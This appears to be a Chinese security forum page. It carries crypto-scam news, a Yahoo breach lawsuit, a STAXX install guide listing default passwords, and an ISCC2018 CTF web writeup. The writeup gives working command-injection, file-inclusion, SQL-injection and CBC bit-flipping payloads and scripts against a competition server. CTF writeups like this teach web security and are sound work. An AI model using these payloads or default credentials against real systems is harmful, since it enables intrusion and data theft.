比特币千币网:警惕以太坊里的垃圾合约,伪造交易进行广告推广

kakaxi 发表了文章 • 0 个评论 • 62 次浏览 • 2018-09-11 11:01 • 来自相关话题

千币网讯(www.btc112.com)近日,降维安全实验室(johnwick.io)在以太坊智能合约监控系统中监测到一个垃圾推广合约ERC20 (blockwell.ai KYC Casper Token),垃圾推广通过调用垃圾合约的某公开方法(方法签名: 0x975ef7df)虚构了大量(每500个一组,转账数量100个代币)受害地址之间的转账交易,并虚假记录了这些转账交易的Transfer()事件日志,导致大批钱包应用依据此事件记录,向无辜受害用户推送了此垃圾代币的交易转账通知,变相成为了此垃圾代币的推广宣传帮凶。在短短一天时间内,该交易者伪造了50余万笔虚假交易(截至发稿前为止)进行垃圾推广。
垃圾交易者地址: 
0xaaf70e052b76c9bd177e24a0e249f17cc3486ea0 
垃圾合约地址:
0x212d95fccdf0366343350f486bda1ceafc0c2d63 
垃圾代币名称: ERC20 (blockwell.ai KYC Casper Token)
以太坊-ETH$195.8348-3.33% 查看全部
千币网讯(www.btc112.com)近日,降维安全实验室(johnwick.io)在以太坊智能合约监控系统中监测到一个垃圾推广合约ERC20 (blockwell.ai KYC Casper Token),垃圾推广通过调用垃圾合约的某公开方法(方法签名: 0x975ef7df)虚构了大量(每500个一组,转账数量100个代币)受害地址之间的转账交易,并虚假记录了这些转账交易的Transfer()事件日志,导致大批钱包应用依据此事件记录,向无辜受害用户推送了此垃圾代币的交易转账通知,变相成为了此垃圾代币的推广宣传帮凶。在短短一天时间内,该交易者伪造了50余万笔虚假交易(截至发稿前为止)进行垃圾推广。
垃圾交易者地址: 
0xaaf70e052b76c9bd177e24a0e249f17cc3486ea0 
垃圾合约地址:
0x212d95fccdf0366343350f486bda1ceafc0c2d63 
垃圾代币名称: ERC20 (blockwell.ai KYC Casper Token)
以太坊-ETH$195.8348-3.33%

黑客潜入电子邮件账户偷走比特币,女商人失2.8万告雅虎

kakaxi 发表了文章 • 0 个评论 • 76 次浏览 • 2018-09-11 11:00 • 来自相关话题

 
【香港明报专讯】一名温哥华商人最近入禀法院向雅虎(Yahoo)提出诉讼,指自己用雅虎电邮帐户注册比特币账户,却被黑客入盗取所有个人资料,并从她的比特币户口偷走2.8万元。她指雅虎多年来被黑客多次入侵盗取客户资料,2016年的一次更有5亿人受害,但雅虎没有好好保护客户隐私,违反诚信,导致客户蒙受损失,商人更希望将诉讼提升至集体诉讼。
温哥华商人查兰(Rana Chalan)在8月10日向卑诗最高法院提出诉讼,根据诉状,她在2017年12月3日注册了一个雅虎电邮帐户,并用此电邮来登记她所有的比特币户口。在2018年2月16日,黑客入侵了她的雅虎帐户,修改了确认户口的资料,并用她的雅虎帐号登入了她的比特币户口,偷走了2.8万加元。她至今都无法重新控制该雅虎帐户。
入禀状又说,查兰以前也曾开过多个雅虎帐户,多年来满意雅虎的服务,当她在2017年12月开设新雅虎帐户时,并不想过雅虎有违反诚信的问题。
查兰指出,雅虎在2016年9月22日发出一则新闻稿,承认2014年有5亿名客户的个人资料被黑客盗取,并称是「国家级」黑客所为。被盗的数据包括用户名称、电邮地址、电话号码、出生日期、密码,甚至安全问题及答案。然后,同年12月14日,雅虎再向客户发出另一次通知,指2013年8月原来还有另一次黑客入侵,黑客盗取的数据还包括客户的财务信息,例如信用卡、零售户口、银行户口、税务数据、社会安全号码(SIN)等。入禀状续称,美国通信巨人在2017年6月买下雅虎后,雅虎陆续向3200万名客户发出通知,原来在2015至2016年间,又发生过另一次黑客入侵。
查兰表示,在这些黑客入侵的期间,自己是5亿名私人或财务数据被盗的雅虎客户之一,她为卑诗用户向雅虎提出集体诉讼。她指出,雅虎在2016年9月及12月发出的黑客入侵通告中,曾承诺会保护所有客户资料,包括加拿大客户。
诉状指雅虎在保护客户资料上出现疏忽,违反保护客户资料的责任及诚信,违反客户开户时所同意的合约内容,又指雅虎刻意隐藏或隐瞒安全隐患系信息,属涉及诈骗或欺骗。查兰要求雅虎赔偿,又要求法庭向雅虎判决惩罚性罚金。不过,入禀状未说明索偿金额。 查看全部

 
【香港明报专讯】一名温哥华商人最近入禀法院向雅虎(Yahoo)提出诉讼,指自己用雅虎电邮帐户注册比特币账户,却被黑客入盗取所有个人资料,并从她的比特币户口偷走2.8万元。她指雅虎多年来被黑客多次入侵盗取客户资料,2016年的一次更有5亿人受害,但雅虎没有好好保护客户隐私,违反诚信,导致客户蒙受损失,商人更希望将诉讼提升至集体诉讼。
温哥华商人查兰(Rana Chalan)在8月10日向卑诗最高法院提出诉讼,根据诉状,她在2017年12月3日注册了一个雅虎电邮帐户,并用此电邮来登记她所有的比特币户口。在2018年2月16日,黑客入侵了她的雅虎帐户,修改了确认户口的资料,并用她的雅虎帐号登入了她的比特币户口,偷走了2.8万加元。她至今都无法重新控制该雅虎帐户。
入禀状又说,查兰以前也曾开过多个雅虎帐户,多年来满意雅虎的服务,当她在2017年12月开设新雅虎帐户时,并不想过雅虎有违反诚信的问题。
查兰指出,雅虎在2016年9月22日发出一则新闻稿,承认2014年有5亿名客户的个人资料被黑客盗取,并称是「国家级」黑客所为。被盗的数据包括用户名称、电邮地址、电话号码、出生日期、密码,甚至安全问题及答案。然后,同年12月14日,雅虎再向客户发出另一次通知,指2013年8月原来还有另一次黑客入侵,黑客盗取的数据还包括客户的财务信息,例如信用卡、零售户口、银行户口、税务数据、社会安全号码(SIN)等。入禀状续称,美国通信巨人在2017年6月买下雅虎后,雅虎陆续向3200万名客户发出通知,原来在2015至2016年间,又发生过另一次黑客入侵。
查兰表示,在这些黑客入侵的期间,自己是5亿名私人或财务数据被盗的雅虎客户之一,她为卑诗用户向雅虎提出集体诉讼。她指出,雅虎在2016年9月及12月发出的黑客入侵通告中,曾承诺会保护所有客户资料,包括加拿大客户。
诉状指雅虎在保护客户资料上出现疏忽,违反保护客户资料的责任及诚信,违反客户开户时所同意的合约内容,又指雅虎刻意隐藏或隐瞒安全隐患系信息,属涉及诈骗或欺骗。查兰要求雅虎赔偿,又要求法庭向雅虎判决惩罚性罚金。不过,入禀状未说明索偿金额。

一觉醒来,存款全没,还欠债!

kakaxi 发表了文章 • 0 个评论 • 123 次浏览 • 2018-08-05 11:19 • 来自相关话题

今天收到朋友圈里的消息,被震到了“一觉醒来,存款全没,还欠债。没想现在犯罪分子开始这么玩了,大家注意下。”,也拿出来,大家提高点安全意识吧!
 





 
今天收到朋友圈里的消息,被震到了“一觉醒来,存款全没,还欠债。没想现在犯罪分子开始这么玩了,大家注意下。”,也拿出来,大家提高点安全意识吧!
 

WechatIMG296.jpeg

 

使用Anomali 的Staxx 搭建免费的威胁情报系统

kakaxi 发表了文章 • 1 个评论 • 429 次浏览 • 2018-06-01 18:54 • 来自相关话题

本文主要是​,来讲述STAXX的安装搭建过程,其它介绍大家可以百度or google,这里不在 浪费大家时间了(下面简要介绍,可以简单参考一下)

STAXX是Anomali公司提供的完全免费的威胁情报系统,威胁馈送领域里,STIX(结构化威胁信息表达)和TAXII(可信自动化指标信息交换),是分析师以标准化方式获取情报的两项核心技术。
企业消费STIX和TAXII的主要方式之一,就是通过存款信托及结算机构(DTCC)与金融服务信息共享和分析中心(FS-ISAC)联合开发的免费 Soltra Edge 软件。但该服务如今已被关停。
Anomali的STAXX是对Soltra关停的直接响应,旨在帮助企业能继续方便地从STIX和TAXII受益。

 
下载过程
如果大家要进行正常的下载,需要首先登录https://www.anomali.com/platform/staxx,然后点击download,接下来就是要求大家邮箱等信息注册,然后将下载连接发送到邮箱中,点击邮箱中的下载,才能进行,我这里就直接将我注册完获取的下载链接直接给到大家如下:https://anomali.cdn.rackfoundry.net/files/eng/AnomaliStaxxv3.zip
(大概1.06G需要时间比较长,大家不要使用手机热点哟,土豪请随意)
【我下面的安转过程是在kali里面进行的】

安装
[]第一步:解压缩下载下来之后,观察是一个zip的压缩文件,解压缩之后里面包含了三个文件:STAXX SLA.txt、Anomali_STAXX_Installation_&_Administration_Guide.pdf、Anomali_STAXX_v3.4.0.ova[/] []第二步:打开VMware,导入ova文件[/]


 下面就是下一步,下一步,不再啰嗦了初始化过程[list=1][]登录系统修改密码[/]

最后安装完了之后的界面如下(提示信息里包含了登录帐号和密码, 默认帐号:anomali  密码:anmalistaxx)

初次登录系统,要求更改密码如下图





这里会看到访问staxx的连接为https://x.x.x.x:8080

 
 
 开始配置STAXX
浏览器地址栏输入前面得到的访问地址:https://172.16.155.155:8080/
得到下面的登录界面,界面上有提示web登录的帐号






STAXX LOGINFirst time login?
username: admin
password: changeme

 










恭喜你看到了希望,是不是很easy






进入界面之后我们看到两个主要的菜单:DASHBOARDS 和ACTIVITY ,其中DASHBOARDS 提供了主要的各种直观的图标;ACTIVITY提供了按照特定条件进行筛选查询的功能。





 
DASHBOARDS:仪表板提供了在指定时间段存储在Anomali StAXX上的所有可观测值的摘要信息。仪表板内的几个图形视图显示可观察的类型、严重性、来源(可观察到的)、可信度等。
 
其中我们按照其中SCAN_IP为例打开看一下,具体操作如下:
点开对应的柱状图部分如下图:











此时直接连接到公网的Anomali 的网站上,需要你注册一个账户,特别提醒:注册一定需要翻墙,只能自行解决了。。。,否则无法进行人机验证如下图:
 





 
注册成功之后(特别提醒:注册的时候不能用免费的邮箱,比如不能用qq等邮箱)
然后你再点击上面ip地址链接的时候就会出现下面 anomali,完整详细的分析信息:










 
ok,具体这些信息,能给你带来多大的价值,就要看你是用来做什么了,比如做反垃圾邮件,反病毒,追踪分析,仁者见仁智者见智
 
这里只是简单给大家一个示例,如果想了解详细的产品说明及操作,可以点击主界面上的帮助菜单,如下图:





 
这里有完整的手册





 
至此简单的安装部署及使用情况已经完成,大家可以参考本篇文章快速了解此威胁情报系统,然后根据自己的需要得到自己想要的东东。
  查看全部
本文主要是​,来讲述STAXX的安装搭建过程,其它介绍大家可以百度or google,这里不在 浪费大家时间了(下面简要介绍,可以简单参考一下)


STAXX是Anomali公司提供的完全免费的威胁情报系统,威胁馈送领域里,STIX(结构化威胁信息表达)和TAXII(可信自动化指标信息交换),是分析师以标准化方式获取情报的两项核心技术。
企业消费STIX和TAXII的主要方式之一,就是通过存款信托及结算机构(DTCC)与金融服务信息共享和分析中心(FS-ISAC)联合开发的免费 Soltra Edge 软件。但该服务如今已被关停。
Anomali的STAXX是对Soltra关停的直接响应,旨在帮助企业能继续方便地从STIX和TAXII受益。


 
下载过程
如果大家要进行正常的下载,需要首先登录https://www.anomali.com/platform/staxx,然后点击download,接下来就是要求大家邮箱等信息注册,然后将下载连接发送到邮箱中,点击邮箱中的下载,才能进行,我这里就直接将我注册完获取的下载链接直接给到大家如下:https://anomali.cdn.rackfoundry.net/files/eng/AnomaliStaxxv3.zip
(大概1.06G需要时间比较长,大家不要使用手机热点哟,土豪请随意)
【我下面的安转过程是在kali里面进行的】

安装
    []第一步:解压缩下载下来之后,观察是一个zip的压缩文件,解压缩之后里面包含了三个文件:STAXX SLA.txt、Anomali_STAXX_Installation_&_Administration_Guide.pdf、Anomali_STAXX_v3.4.0.ova[/]
 
    []第二步:打开VMware,导入ova文件[/]

WX20180601-183013@2x.png
 下面就是下一步,下一步,不再啰嗦了

初始化过程[list=1][]登录系统修改密码[/]


最后安装完了之后的界面如下(提示信息里包含了登录帐号和密码, 默认帐号:anomali  密码:anmalistaxx)

初次登录系统,要求更改密码如下图

WX20180601-183454@2x.png

这里会看到访问staxx的连接为https://x.x.x.x:8080


 
 
 开始配置STAXX
浏览器地址栏输入前面得到的访问地址:https://172.16.155.155:8080/
得到下面的登录界面,界面上有提示web登录的帐号

WX20180601-184738@2x.png


STAXX LOGINFirst time login?
username: admin
password: changeme


 
WX20180601-185018@2x.png


WX20180601-185606@2x.png


恭喜你看到了希望,是不是很easy

WX20180601-211140@2x.png


进入界面之后我们看到两个主要的菜单:DASHBOARDS 和ACTIVITY ,其中DASHBOARDS 提供了主要的各种直观的图标;ACTIVITY提供了按照特定条件进行筛选查询的功能。

WX20180601-215307@2x.png

 
DASHBOARDS:仪表板提供了在指定时间段存储在Anomali StAXX上的所有可观测值的摘要信息。仪表板内的几个图形视图显示可观察的类型、严重性、来源(可观察到的)、可信度等。
 
其中我们按照其中SCAN_IP为例打开看一下,具体操作如下:
点开对应的柱状图部分如下图:

WX20180601-220515@2x.png


WX20180601-220639@2x.png


此时直接连接到公网的Anomali 的网站上,需要你注册一个账户,特别提醒:注册一定需要翻墙,只能自行解决了。。。,否则无法进行人机验证如下图:
 

WX20180601-221255@2x.png

 
注册成功之后(特别提醒:注册的时候不能用免费的邮箱,比如不能用qq等邮箱
然后你再点击上面ip地址链接的时候就会出现下面 anomali,完整详细的分析信息:

WX20180601-221623@2x.png


WX20180601-221703@2x.png

 
ok,具体这些信息,能给你带来多大的价值,就要看你是用来做什么了,比如做反垃圾邮件,反病毒,追踪分析,仁者见仁智者见智
 
这里只是简单给大家一个示例,如果想了解详细的产品说明及操作,可以点击主界面上的帮助菜单,如下图:

WX20180601-221911@2x.png

 
这里有完整的手册

WX20180601-221951@2x.png

 
至此简单的安装部署及使用情况已经完成,大家可以参考本篇文章快速了解此威胁情报系统,然后根据自己的需要得到自己想要的东东。
 

ISCC2018 writeup分享web篇

lawliet 发表了文章 • 1 个评论 • 272 次浏览 • 2018-05-28 18:25 • 来自相关话题


之前发的一篇文章,内容没有显示出来,应该是内容过多或者是一些字符的问题,现在重新发表一下,因为可能有字数限制,所以可能会以几个部分分别发布,目的是将自己解出的题分享出来,通过这篇文章希望给大家带来一些新知识

web方向
题目:比较数字大小
HINT:只要比服务器上的数字大就好了





发现题目只有一个输入框,限制只能输入3个字符,看起来像是前端限制,于是firebug查看元素,发现maxlength值为3,将3改为100,随意输入个大数字,flag就出来了









flag:key is 768HKyu678567&*&K题目:本地的诱惑

HINT:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?(签到题)
该题为web的签到题,打开后发现是这样的





必须从本地访问,于是想到了伪造X-Forwarded-For,后来发现直接访问源代码就能得到flag,果然是签到题啊




flag:ISCC{^&*(UIHKJjkadshf}题目:你能跨过去吗?

HINT:如果你对xss了解的话,那你一定知道key是什么了,加油!






看到xss便首先尝试在输入框里提交XSSPaylaod,结果发现根本找不到输出点,不管提交多少次都是”加油再试一次”,然后发现页面有一串字符非常像base64编码ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0base64解码了一下,发现是XSSpayload,里面有我们要的key





因为key的16进制中有00,代表结束符(截断),所以要将key中的00字符都删掉,才能将key复制下来




key:/%nsfocusXSStest%/key不是flag,将/%nsfocusXSStest%/提交到页面输入框才能弹出来flag




flag{Hell0World}题目:一切都是套路

HINT:好像有个文件忘记删了

自己的字典太垃圾,啥也没扫出来,经过一个表哥强大的字典发现扫出了index.php.txt,内容如下<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>进行一波代码审计发现考察的是php变量覆盖,构造payloadhttp://118.190.152.202:8009/index.php?_200=flag









 
带上POST参数flag=




我来讲解一下详细的过程,首先代码要求必须有POST参数,而且POST参数的参数名必须为flag,这样才可以到变量覆盖的那一步,接着提交GET参数_200=flag,php代码遍历$_GET数组执行的便是$_200=$flag,也就是将变量$flag的值复制给$_200,覆盖原先变量$_200的值,此时变量$_200的值为$flag中的值,接着php遍历$_POST数组,我们提交的POST参数为flag=空(任意值),于是将POST的值复制给$flag值,覆盖原先的$flag值,$_POST["flag"]便会和$flag值相等,都为空(任意值),最后输出变量$_200的值,也就是原先$flag中的flagflag: ISCC{taolu2333333....}题目:你能绕过吗?

HINT:没过滤好啊




http://118.190.152.202:8008/index.php?f=articles&id=1









 一开始以为id参数没过滤好,于是尝试了注入,结果被坑了,原来是f参数没过滤好,存在文件包含,通过文件包含漏洞使用php伪协议读取index.php的源代码payload:http://118.190.152.202:8008/index.php?f=PHP://filter/read=convert.base64-encode/resource=index&id=1 payload中的php要大写,否则会被拦截





得到一串base64,解码得到源码,源码中有flag




flag:ISCC{LFIOOOOOOOOOOOOOO}








题目:web02





要求ip为本机ip,尝试Referer和X-forwarded-For都不行,最后搜索了一番,发现伪造ip还可以用Client-ip 将ip伪造成127.0.0.1即可




flag:ISCC{iscc_059eeb8c0c33eb62}题目:请ping我的ip 看你能Ping通吗?

HINT:我都过滤了,看你怎么绕。





看到这样一句话:请ping我的IP 看你会ping通吗尝试http://118.190.152.202:8018/?ip=118.190.152.202








 
发现可以执行ping命令






猜测后台php代码应该如下,类似于dvwa中的命令执行shell_exec( 'ping ' . waf($_GET[ip]) )尝试在ping命令后执行多条命令,发现&,&&,|都不行,最后测试发现使用%0A可以绕过,读取flag.txt payloadhttp://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20flag.txt





读取index.php payloadhttp://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20index.php可以看到源码里正如我们之前猜测的那样 






当然这到题也有非常规解法,既然要用命令执行去读取flag.txt,不如直接访问网站根目录下的flag.txt就能得到flag




ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}题目:Please give me username and password!





题目说Please give me username or password! 那在url后添加GET参数username与passwordhttp://118.190.152.202:8017/?username=&&password=再查看源代码可以看到html注释里面有个index.php.txt





访问index.php.txt,发现源代码,又是一道代码审计题<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>可以看到只要绕过对username和password的过滤便能得到flag

strcasecmp的绕过可以利用数组,strcasecmp这个函数在比较一个数组和字符串时会因为类型不一致而报错,从而函数返回False,又因为将False与0以双等号(不严格的比较)进行比较发生了一次隐私类型转换,所以结果为真,从而绕过,后面要求数字长度小于4且大于999可以用php中的科学计数法绕过,构造payloadhttp://118.190.152.202:8017/?username=&&password=1e9



flag{ISCC2018_Very_GOOD!}题目:SQL注入的艺术





找到一个可能存在注入的连接http://118.190.152.202:8015/index.php?id=1






猜测id参数可能存在注入,加单引号和双引号页面均返回正常并不会报错,于是猜测引号可能被转义了,尝试宽字节注入 http://118.190.152.202:8015/index.php?id=1%df'发现页面返回不正常





于是尝试进行and逻辑判断确认是否存在注入http://118.190.152.202:8015/index.php?id=1%df' and 1=1%23



http://118.190.152.202:8015/index.php?id=1%df' and 1=2%23




order by 测试出列数为8,union查询确定出注入回显的位置http://118.190.152.202:8015/index.php?id=-1%df' union select 1,2,3,4,5,6,7,8%23




接下来可以union手工注入,也可以用sqlmap跑,sqlmap跑的时候要使用tamper脚本unmagicquotes.py来绕过单引号转义过滤,为了方便直接上sqlmap,获取flag的命令sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --dump -C "flag" -T "admins" -D "baji" --tamper="unmagicquotes.py"


flag:Y0u_@@33w_dxxmn_9rf0Od题目:试试看

HINT:随意开火





这道题一开始就觉得是文件包含,但是使用php协议读文件时发现一直出现File not found,一直不知为何,直到谷歌搜出了类似的一道题才找到思路,这里的思路大概一样,只要绕过正则表达式即可,经过模糊测试,发现http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=../flag.php





可以读到flag.php中的flag 




flag{1ntere5ting_PHP_Regu1ar_express1onssssss}http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=show.php可以读取show.php查看它的过滤 




<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false &&preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.[i]resource=([^|][/i])/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>可以看到由于正则过滤不严导致可以去读取flag
题目:Only admin can see flag(这道题很有意思,用到了CBC翻转字节攻击的方法,感觉很不错,能学到新知识)

打开后是一个登陆页面





出于习惯首先查看源代码,结果发现泄露了index.php的源码





查看源代码,可以看出又是一道代码审计题





代码如下<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$iv='';
for($i=0;$i<16;$i++){
$iv.=chr(rand(1,255));
}
return $iv;
}
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">
<h1>Sign In</h1>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>
</div>
</body>
</html>来看代码的主要执行过程与用户数据流的流向

首先,如果存在有用户POST传递过来的username与password,那就接收用户输入的username与password,将用户输入的内容转换为字符串类型然后带入waf函数进行过滤检查处理(应该是过滤一些危险字符),之后使用===检查username的值是否为admin,如果相等直接输出You are not real admin!到页面并且结束,否则将username与password存入数组然后带入login函数,通过代码可以看出login函数的主要作用,将传入的存有username与password的数组进行序列化处理后再使用php中的openssl_encrypt函数进行aes-128-cbc加密,加密的初始化向量为随机生成的16字节的字符串,之后将传入的用户名传入服务器中session文件中的username变量中,将初始化向量与加密结果进行base64编码后分别存入cookie中的iv与cipher中,之后cookie就作为该用户的登陆凭证,简单来说,就是如果用户名不等于admin就登陆成功并且将用户名存入服务器的session变量中,之后setcookie,然后进入用户界面,此处使用show_homepage函数判断,这个函数会判断session中的username是否为admin,如果为admin,那就登陆成功并输出flag,否则就以普通用户登录

如果发现服务器session文件中的username变量已被设置,说明之前有用户登录了,就不使用login函数进行进行登陆检查,而是使用check_login函数进行用户身份检查,通过代码可以看出check_login函数的主要作用,检查cookie中是否设置有cipher和iv,如果有,就对cookie中的cipher与iv进行base64解码,然后使用php中的openssl_decrypt函数进行aes-128-cbc解密,将解密的结果进行反序列化处理为数组,之后将数组中的username赋值给session中的username,之后进入用户登录界面,再次调用show_homepage

来分析一下整个逻辑过程

简单来说,要求输入的用户名不能为admin才能登陆成功,但是进行用户身份检查时需要$_SESSION中的username必须等于admin才能登陆成功,于是想到了可以首先以一个用户名不是admin的用户登录,设置$_SESSION['username'],之后刷新登陆页面,将会带上生成的cookie进入check_login函数,我们可以修改cookie中的cipher与iv,使其经过aes-128-cbc解密反序列化后将$info['username']的值变为admin即可覆盖第一次登陆后设置的$_SESSION['name'],将其变为admin,此时经过show_homepage后就会是admin并且输出flag

在这里加密解密的密钥是未知的,iv初始化向量是随机生成的,导致我们不能直接利用加密算法生成cookie,于是想到了一种名为CBC翻转字节攻击的方法,该攻击可以在不知道密钥的前提下,通过修改密文中某一处的字节达到修改部分明文的目的,具体过程如下,首先来看AES的CBC模式的加密解密过程,分组长度为16字节加密
加密






解密





所谓的CBC翻转字节攻击就是通过修改某一分组的密文,去修改其下一分组的明文





比如明文分组如下,以题目举例a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:6:"123456";}要将Admin修改为admin,只需修改加密后第一个分组中的第10个字节,也就是对应A所在位置的"的密文就可以首先要以Admin登陆,获取Set-Cookie中的cipher与iv,cipher里面存放着将上面那串字符串加密的密文,iv为随机生成的16位字符串,作为加密解密的初始化向量









iv:pO%2FPPYF9sNQq9oGENmDdFA%3D%3D
cipher:bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D首先修改密文的第一个分组的第十个字节import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"Admin";
#s:8:"password";s
#:6:"123456";}
cipher="bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D"
cipher=base64.b64decode(urllib.unquote(cipher))
newcipher=cipher[0:9]+chr(ord(cipher[9])^ord('A')^ord('a'))+cipher[10:]
print "cipher:\n%s"%(urllib.quote(base64.b64encode(cipher)))
print "new cipher:\n%s"%(urllib.quote(base64.b64encode(newcipher)))




我来解释一下这段代码首先需要明白一个前提
异或运算相同为0,不同为1,所以推导出:一个字符和其本身异或结果为0,一个字符和0异或结果为其本身

解密(cipher[9+16])^cipher[9]='A'(这是正常的解密过程)
解密(cipher[9+16])^cipher[9]^'A'^'a'='a'(将A变为a,就要将第一分组中的第十个字节cipher[9]进行cipher[9]^'A'^'a'改变)此时cipher变为了bq1cO9PgjsrNf%2B1iItSFPsyT/taue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7/Du5pSgPzuq339vT4EWNfQ%3D%3D刷新登陆后的页面,将cookie中的cipher改为修改后的cipher










将返回base64_decode('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==') can't unserialize的错误,因为如果修改第一组密文中的某个字节,初始化向量不变也会导致第一组明文解密时发生改变,从而导致解密出的序列化的格式发生改变而导致反序列化失败,所以还要根据这串返回的base64重新生成新的iv,让解密出的第一个分组的明文还原成原先的明文



import urllib
import base64
iv="pO%2FPPYF9sNQq9oGENmDdFA%3D%3D"
iv=base64.b64decode(urllib.unquote(iv))
jiamingwen = base64.b64decode(urllib.unquote('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))[/i][/i][/i]




同样的,解释一下这段代码有个前提
如果c=a^b
那么a=c^b,b=a^c

因为:
iv^解密(假密文)=假明文
iv^解密(假密文)^假明文=0(假明文^假明文=0)
所以:
iv^解密(假密文)^假明文^明文=明文(0^明文=明文)
又因为需要达到:
newiv^解密(假密文)=明文
所以:
newiv=iv^假明文^明文 所以新的iv变为dR9UMoe8drNhp9pRsl3%2Bxw%3D%3D然后将cookie中的cipher和iv同时改为新生成的即可,这样的话解密后只会将第二组明文的A变为a,而且第一分组解密出的明文并不会发生改变,序列化格式也自然不会改变,这样就可以反序列化成功,然后将$_SESSION['username']重新赋值为解密出的admin明文,然后绕过验证输出flag




flag:ISCC{123dasd89as10aas}


题目:Collide

HINT:那么长的秘钥,要爆破到什么时候啊





又是一道代码审计题<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60[i]60[/i]24*7);
setcookie("len", strlen($key), time()+60[i]60[/i]24*7);
}
show_source(__FILE__);可以看出这道题是考察hash长度扩展攻击的,对于这种攻击方式原理自己还没有完全搞懂,于是就把做题方法记录一下

首先,需要在linux中安装一个名为HashPump的工具,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。下面是安装方法git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install




